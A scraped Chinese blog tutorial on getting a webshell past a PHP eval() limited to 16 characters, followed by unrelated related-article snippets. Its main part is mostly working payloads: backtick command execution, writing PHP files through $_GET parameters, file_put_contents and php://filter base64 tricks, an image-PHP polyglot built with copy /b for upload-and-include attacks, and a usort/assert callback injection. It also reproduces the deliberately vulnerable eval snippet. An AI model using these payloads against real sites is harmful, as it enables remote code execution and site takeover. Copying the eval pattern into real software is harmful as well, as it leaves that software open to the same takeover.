EVAL长度限制突破方法

EVAL长度限制突破方法

<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //长度小于17,没有eval和assert关键字
{eval($param);
}
//stripos — 查找字符串首次出现的位置(不区分大小写)

在这里插入图片描述

eval函数参数限制在16个字符的情况下,如何拿到Webshell?

`$_GET[1]’

相似答案:

exec($_GET[1]); 

linux下反引号可以执行命令

?param=echo $_GET[0];&0=id

在这里插入图片描述

那么就可以写一些内容到一些文件里去

在这里插入图片描述

再访问一下

param=echo%20$_GET[0];&0=param=echo $_GET[0];&0=echo ‘<?php phpinfo();’ > a.php

写入成功

在这里插入图片描述

也可以使用base64编码写入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php

param=$_GET1;

param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents将数据写入文件
......
最后把PD9waHAgcGhwaW5mbygpOw写进文件N。
那怎么解码执行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read读取N里面的内容进行base64解码。虽然N不是php文件,但是文件包含可以把任意一个文件里面的php代码执行起来php:// — 访问各个输入/输出流(I/O streams)
php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。(可用的过滤器:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器)
这里用转换过滤器:convert.base64-encode 和 convert.base64-decode。使用这两个过滤器等同于分别用 base64_encode()base64_decode() 函数处理所有的流数据。
文件包含

找一张普通图片

在这里插入图片描述

写一个php文件
在这里插入图片描述

copy /b 001.png + web.php /a web.jpg----------/b → 表示以二进制模式处理 001.png

​ + → 表示合并文件。

​ web.php→ 第二个文件。

​ /a→ 表示以 ASCII 文本模式 处理 web.php。

​ web.jpg → 最终输出的文件名。

在这里插入图片描述

web.jpg可以正常打开看到图片,使用记事本打开图片,可以在文件的最后看到写入的php代码。

在这里插入图片描述

很多网站都有上传图片的功能(上传头像等),上传之后检查代码就可以看到上传的路径,用include_$GET[‘文件路径’]就可以了。

在这里插入图片描述

在这里插入图片描述

文件包含可以把任意一个文件里面的php代码执行起来

在这里插入图片描述

usort(…$_GET);

?1[]=test&1[]=phpinfo();&2=assert

在windows上访问

在这里插入图片描述

使用BurpSuite抓包

在这里插入图片描述

抓到之后发送给Repeater,然后转换为POST

在这里插入图片描述

在这里插入图片描述

在php的整体运行流程中允许POST和GET同步执行

(…$_GET(变长参数))把1[]=test&1[]=phpinfo();&2=assert接过来了,然后就放到usort中,一个数组,一个回调函数。

在这里插入图片描述

发送

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/90282.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/90282.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux部署.net Core 环境

我的环境 直接下载安装就可以了 wget https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.315/dotnet-sdk-8.0.315-linux-x64.tar.gzmkdir -p $HOME/dotnet && tar zxf dotnet-sdk-8.0.315-linux-x64.tar.gz -C $HOME/dotnet export DOTNET_ROOT$HOME/dotnet expor…

ARM-定时器-PWM通道输出

学习内容需求点亮4个灯&#xff0c;采用pwm的方式。定时器通道引脚AFLED序号T3CH0PD12AF2LED5CH1PD13AF2LED6CH2PD14AF2LED7CH3PD15AF2LED8实现LED5, LED6, LED7, LED8呼吸灯效果通用定时器多通道点亮T3定时器下的多个通道的灯。开发流程添加Timer依赖初始化PWM相关GPIO初始化P…

javaSE(List集合ArrayList实现类与LinkedList实现类)day15

目录 List集合&#xff1a; 1、ArrayList类&#xff1a; &#xff08;1&#xff09;数据结构&#xff1a; &#xff08;2&#xff09;扩容机制 &#xff08;3&#xff09;ArrayList的初始化&#xff1a; &#xff08;4&#xff09;ArrayList的添加元素方法 &#xff08;5…

解决 WSL 中无法访问 registry-1.docker.io/v2/,无法用 docker 拉取 image

文章目录无法拉取docker镜像补充迁移 WSL 位置Install Docker无法拉取docker镜像 docker run hello-world Unable to find image hello-world:latest locally docker: Error response from daemon: Get "https://registry-1.docker.io/v2/": context deadline excee…

【C++】简单学——list类

模拟实现之前需要了解的概念带头双向链表&#xff08;double-linked&#xff09;&#xff0c;允许在任何位置进行插入区别相比vector和string&#xff0c;多了这个已经没有下标[ ]了&#xff0c;因为迭代器其实才是主流&#xff08;要包头文件<list>&#xff09;方法构造…

Qt 国际化与本地化完整解决方案

在全球化的今天&#xff0c;软件支持多语言和本地化&#xff08;Internationalization & Localization&#xff0c;简称i18n & l10n&#xff09;已成为基本需求。Qt提供了一套完整的解决方案&#xff0c;帮助开发者轻松实现应用程序的国际化支持。本文将从原理到实践&a…

MNIST 手写数字识别模型分析

功能概述 这段代码实现了一个基于TensorFlow和Keras的MNIST手写数字识别模型。主要功能包括&#xff1a; 加载并预处理MNIST数据集构建一个简单的全连接神经网络模型训练模型并评估其性能使用训练好的模型进行预测保存和加载模型 代码解析 1. 导入必要的库 import matplot…

进阶系统策略

该策略主要基于价格动态分析,结合多种技术指标和数学计算来生成交易信号。其核心逻辑包括: 1. 价格极值计算:首先,策略计算给定周期(由`Var3`定义)内的最高价和最低价,分别存储在`Var12`和`Var13`中。这一步骤旨在捕捉价格的短期波动范围。 2. 相对位置计算:接着,策…

【Linux内核】Linux驱动开发

推荐书籍&#xff1a; 《Linux内核探秘&#xff1a;深入解析文件系统和设备驱动的架构与设计》 知识点 x86的IO地址空间和内存地址空间是独立的两套地址空间&#xff0c;并且使用不同的指令访问。MOV, IN, OUT。内存映射I/O可以将IO映射到内存。ARM等RISC采用统一编编址&#x…

MySQL用户管理(15)

文章目录前言一、用户用户信息创建用户修改密码删除用户二、数据库的权限MySQL中的权限给用户授权回收权限总结前言 其实与 Linux 操作系统类似&#xff0c;MySQL 中也有 超级用户 和 普通用户 之分 如果一个用户只需要访问 MySQL 中的某一个数据库&#xff0c;甚至数据库中的某…

react19相关问题和解答

目录 1. react19将ref放在了props中(不再需要 forwardRef),那么是不是可以通过ref获取子组件的全部变量了? 我的子组件的useImperativeHandle还需要定义吗? 1.1. ref 在 props 中的本质变化 1.2. 为什么不能访问全部变量? 2. In HTML,cannot be a descendant of. Thi…

Code Composer Studio:CCS 设置代码折叠

Code Composer Studio&#xff1a;设置代码折叠,可以按函数&#xff0c;if, 等把代码折叠起来。1.2.开启折叠选项3.开启后&#xff0c;如果文件已经打开&#xff0c;要关掉重新打开文件就可以开到折叠功能生效。

JMeter groovy 编译成.jar 文件

groovy 编译 一、windows 下手动安装Groovy 下载 Groovy 二进制包 前往官网&#xff1a;https://groovy.apache.org/download.html 下载 Binary release&#xff08; https://groovy.jfrog.io/ui/native/dist-release-local/groovy-zips/apache-groovy-sdk-4.0.27.zip &#xf…

使用maven-shade-plugin解决依赖版本冲突

项目里引入多个版本依赖时&#xff0c;最后只会使用其中一个&#xff0c;一般可以通过排除不使用的依赖处理&#xff0c;但是如果需要同时使用多个版本&#xff0c;可以使用maven-shade-plugin解决。以最典型的poi为例&#xff0c;poi版本兼容性很低&#xff0c;如果出现找不到…

[CH582M入门第十一步]DS18B20驱动

学习目标: 1、介绍DS18B20 2、学习单总线 3、学习DS18B20程序驱动一、DS18B20介绍 DS18B20 是一款由 Maxim Integrated(原Dallas Semiconductor) 推出的 数字温度传感器,以其单总线(1-Wire)通信协议、高精度和广泛应用而闻名。以下是其核心特点和应用介绍: 主要特性 数…

SGLang + 分布式推理部署DeepSeek671B满血版

部署设备&#xff1a;28A100 80G&#xff0c;两台机器&#xff0c;每台机器8张A100。 模型&#xff1a;deepseek-671B-int8 模型下载地址&#xff1a;https://huggingface.co/meituan/DeepSeek-R1-Block-INT8 模型参考&#xff1a; 1、SGLang Docker部署 github地址&#…

PCL 间接平差拟合球

目录 一、算法原理 1、计算流程 2、参考文献 二、代码实现 三、结果展示 本文由CSDN点云侠原创,首发于2025年7月24日。博客长期更新,本文最新更新时间为:2025年7月24日。 一、算法原理 1、计算流程 空间球方程: ( x − a ) 2 + ( y − b ) 2 + ( z − c ) 2 = R 2 (1) (…

基于 HAProxy 搭建 EMQ X 集群

负载均衡器&#xff08;LB&#xff09;负责分发设备的 MQTT 连接与消息到 EMQ X 集群&#xff0c;采用 LB 可以提高 EMQ X 集群可用性、实现负载平衡以及动态扩容。 HAProxy简介 HAProxy 是一款高性能的 开源负载均衡器 和 反向代理服务器&#xff0c;主要用于在多个服务器之…

RISC-V基金会Datacenter SIG月会圆满举办,探讨RAS、PMU性能分析实践和经验

一直以来&#xff0c;龙蜥社区在 RISC-V 生态建设中持续投入&#xff0c;并积极贡献上游社区。多位龙蜥社区成员在 RISC-V 国际基金会担任主席/副主席角色&#xff0c;与来自阿里云、阿里达摩院、中兴通讯、浪潮信息、中科院软件所、字节跳动、Google、 MIT、Akeana 等企业的专…

CloudComPy使用PyInstaller打包后报错解决方案

情况描述 笔者在spec文件中&#xff0c;datas变量设置如下。如果你的报错类似于“找不到cloudComPy”&#xff0c;先尝试如下的设置。 datas[(CloudCompare,cloudComPy)], 笔者在打包完成后&#xff0c;打开软件发现报错&#xff1a; from cloudComPy import* ModuleNotFoun…